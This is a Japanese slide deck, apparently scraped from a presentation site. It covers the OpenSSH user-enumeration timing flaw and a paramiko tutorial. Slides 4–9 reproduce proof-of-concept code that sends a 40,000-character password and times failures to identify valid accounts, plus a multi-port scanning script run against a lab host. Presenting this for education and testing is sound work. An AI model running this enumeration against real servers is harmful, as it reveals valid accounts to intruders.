論文紹介:When Visual Prompt Tuning Meets Source-Free Domain Adaptive Semantic Seg...
 
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
 
FIDO Alliance Osaka Seminar: LY-DOCOMO-KDDI-Mercari Panel.pdf
FIDO Alliance Osaka Seminar: LY-DOCOMO-KDDI-Mercari Panel.pdfFIDO Alliance Osaka Seminar: LY-DOCOMO-KDDI-Mercari Panel.pdf
FIDO Alliance Osaka Seminar: LY-DOCOMO-KDDI-Mercari Panel.pdf
 
CS集会#13_なるほどわからん通信技術 発表資料
CS集会#13_なるほどわからん通信技術 発表資料CS集会#13_なるほどわからん通信技術 発表資料
CS集会#13_なるほどわからん通信技術 発表資料
 
LoRaWAN 4チャンネル電流センサー・コンバーター CS01-LBカタログ
LoRaWAN 4チャンネル電流センサー・コンバーター CS01-LBカタログLoRaWAN 4チャンネル電流センサー・コンバーター CS01-LBカタログ
LoRaWAN 4チャンネル電流センサー・コンバーター CS01-LBカタログ
 

OpenSSH User EnumerationTime-Based Attack と Python-paramiko

  • 2. 2 OSUETA ● OpenSSH のユーザ名列挙脆弱性 ● パスワード認証で有効なアカウントの認証エラ ーに時間がかかる – OpenSSH-4.2~6.6 で確認 ● blog : https://cureblog.de/2013/07/openssh-user-enumera ● PoC : https://github.com/c0r3dump3d/osueta 2
  • 3. 3 ユーザ名列挙 ● 有効なアカウントを調べる手法 – 不正アクセスする際に、無効なアカウントに対して 実行しても無駄 ● 認証情報の半分が明らかになるのでよろしくな いとされる – 攻撃者には余計な情報は与えない方がよい ● いろんなアプリケーションでおこなえる
  • 4. 4 英語はよくわからんので PoC を見る ● どうやら python-paramiko という便利そうなものを 使っている ● どうやらパスワードに 40000 文字を突っ込んでる parse.add_argument('-l', action='store', dest='length', default='40', help='Length of the password in characters (x1000) (default 40).') length = int(argus.length)*1000 sock.connect((host,int(port))) para = paramiko.Transport(sock) para.connect(username=user) passwd = 'A'*length para.auth_password(user,passwd)
  • 5. 5 同じことをやってみる ● メッチャ遅い!! >>> import socket, paramiko >>> s = socket.create_connection(('192.168.122.225',22)) >>> t = paramiko.Transport(s) >>> t.connect(username='root') >>> t.auth_password('root','A'*40000) Traceback (most recent call last):   ( 省略 ) AuthenticationException: Authentication failed.
  • 6. 6 同じことをやってみる ● メッチャ早い!! >>> import socket, paramiko >>> s = socket.create_connection(('192.168.122.225',22)) >>> t = paramiko.Transport(s) >>> t.connect(username='hage') >>> t.auth_password('hage','A'*40000) Traceback (most recent call last):   ( 省略 ) AuthenticationException: Authentication failed.
  • 8. 8 影響範囲を調べてみたくなった 001: #!/usr/bin/env python 002: 003: import time 004: import paramiko 005: 006: def login(username='root', password='A'*8, port=22): 007: ssh = paramiko.SSHClient() 008: ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 009: 010: s = time.time() 011: try: 012: ssh.connect(hostname='192.168.122.112', 013: port=port, 014: username=username, 015: password=password, 016: allow_agent=False, 017: ) 018: except paramiko.AuthenticationException: 019: e = time.time()
  • 9. 9 影響範囲を調べてみたくなった 022: 023: userlist = [ 024: 'root', 'hoge', 'fuga' 025: ] 026: ports = [ 027: 22, 028: 22421, 22431, 22432, 22441, 22451, 22461, 22471, 22491, 22501, 029: 22511, 22521, 22531, 22541, 22551, 22561, 22571, 22581, 22582, 030: 22591, 22601, 22611, 22621, 22622, 22631, 22641, 22651, 22661, 031: ] 032: 033: for port in ports: 034: for user in userlist: 035: s,e = login(user, 'A'*40000, port) 036: print 'port:%-5d user:%s time:%f' % (port, user, e - s) 037: print '-' * 40
  • 11. 11 paramiko をちゃんと使ってみる ● Python の SSH2 モジュール – sudo pip install paramiko – sudo apt-get install python-paramiko ● Python による SSH の実装
  • 12. 12 SSH クライアント ● ホスト公開鍵の取り扱い – .ssh/known_hosts へ追加するポリシー >>> import paramiko >>> ssh = paramiko.SSHClient() >>> ssh.connect('192.168.122.112') Traceback (most recent call last):   ( 省略 ) SSHException: Server '192.168.122.112' not found in known_hosts >>> ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) >>> ssh.connect('192.168.122.112') >>>
  • 13. 13 SSH クライアント ● known_hosts を読み込む >>> import paramiko >>> ssh = paramiko.SSHClient() >>> ssh.load_system_host_keys() >>> ssh.connect('192.168.122.112') >>> >>> import paramiko >>> ssh = paramiko.SSHClient() >>> ssh.load_host_keys('.ssh/known_hosts') >>> ssh.connect('192.168.122.112') >>>
  • 14. 14 ホスト公開鍵の管理 ● 追加 / 削除 / チェックなどが可能 ... >>> ssh.connect('192.168.122.112') >>> keys = ssh.get_host_keys() >>> keys.items() [('192.168.122.112', <paramiko.hostkeys.SubDict object at 0x7f8516765810>)]
  • 15. 15 SSH クライアント ● 起動させたシェルの環境変数を自動で読み込む – カレントユーザ / デフォルトの秘密鍵 – 認証エージェント – 同じフィンガープリントの鍵がすでに登録されてい る > ssh-add -l 2048 e0:e6:03:ff:f7:cd:95:07:11:f8:a9:52:e8:79:e3:de .ssh/id_rsa_root (RSA) > python >>> import paramiko >>> ':'.join(['%02x'%i for i in map(ord, paramiko.Agent().get_keys()[0].get_fingerprint())]) 'e0:e6:03:ff:f7:cd:95:07:11:f8:a9:52:e8:79:e3:de'
  • 16. 16 SSH クライアント ● コマンドを実行してみる >>> import paramiko >>> ssh = paramiko.SSHClient() >>> ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) >>> ssh.connect('192.168.122.112') >>> i, o, e = ssh.exec_command('ls') >>> o.readlines() ['anaconda-ks.cfgn', 'openssh-servern', 'openssln'] >>> i, o, e = ssh.exec_command('ls2') >>> o.readlines() [] >>> e.readlines() ['bash: ls2: command not foundn'] >>> ssh.close()
  • 17. 17 ハマりポイント ● paramiko が賢すぎる – SSH のデフォルト値 / 省略時の値 – 優先順序 ● スクリプトをコピーしたら動かなくなった ● cron でうまく動かない ● etc...
  • 18. 18 connect で指定できるパラメータ ● hostname (str) – the server to connect to ● port (int) – the server port to connect to ● username (str) – the username to authenticate as (defaults to the current local username) ● password (str) – a password to use for authentication or for unlocking a private key ● pkey (.PKey) – an optional private key to use for authentication ● key_filename (str) – the filename, or list of filenames, of optional private key(s) to try for authentication ● timeout (float) – an optional timeout (in seconds) for the TCP connect ● allow_agent (bool) – set to False to disable connecting to the SSH agent ● look_for_keys (bool) – set to False to disable searching for discoverable private key files in ~/.ssh/ ● compress (bool) – set to True to turn on compression ● sock (socket) – an open socket or socket-like object (such as a Channel) to use for communication to the target host
  • 19. 19 SFTP クライアント ● connect してから open_sftp ● SCP クライアントはない – 別モジュールで提供されている >>> import paramiko >>> ssh = paramiko.SSHClient() >>> ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) >>> ssh.connect('192.168.122.112') >>> sftp = ssh.open_sftp() >>> sftp.get(remorefile, localfile) >>> sftp.close() >>> ssh.close()
  • 20. 20 指定できるメソッド ( 一部 ) sftp.chdir sftp.chmod sftp.chown sftp.close sftp.file sftp.get sftp.getcwd sftp.getfo sftp.listdir sftp.logger sftp.lstat sftp.mkdir sftp.open sftp.put sftp.putfo sftp.readlink sftp.remove sftp.rename sftp.rmdir sftp.sock sftp.stat sftp.symlink sftp.truncate sftp.unlink sftp.utime
  • 21. 21 コンフィグファイル ● ファイルオブジェクトを渡せばパースしてくれる ● パースするだけ ● 読み込んで設定なんてしてくれないよ >>> import paramiko >>> conf = paramiko.SSHConfig() >>> conf.parse(open('.ssh/config')) >>> conf.lookup('kvm01') {'permitlocalcommand': 'yes', 'gatewayports': 'no', 'serveraliveinterval': '300', 'serveralivecountmax': '3', 'hostname': '192.168.1.11', 'hashknownhosts': 'no', 'escapechar': '?', 'controlpath': '~/tmp/.ssh/ControlMaster-togakushi-192.168.1.11.22', 'tcpkeepalive': 'no', 'controlmaster': 'auto', 'controlpersist': '3'}
  • 22. 22 適当な実装例 ● df 叩いてディスク使用率をチェックする > cat dhchk.py #!/usr/bin/env python import re, paramiko ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect('192.168.122.112', username='root', password='password') i, o, e = ssh.exec_command('df -P') for line in o.readlines(): r = line.split() if re.match('^/$', r[5]): if int(r[4].replace('%', '')) > 50: print '[Warning capacity over] mounted:%s Used:%s(%s)' %(r[5], r[3], r[4]) > ./dhchk.py [Warning capacity over] mounted:/ Used:3541196(52%)
  • 23. 23 まとめ ● パスワード認証はオワコン ● paramiko 便利 – 操作対象ホストが少なければぶっちゃけ 「 ssh remotehost command 」でも。。。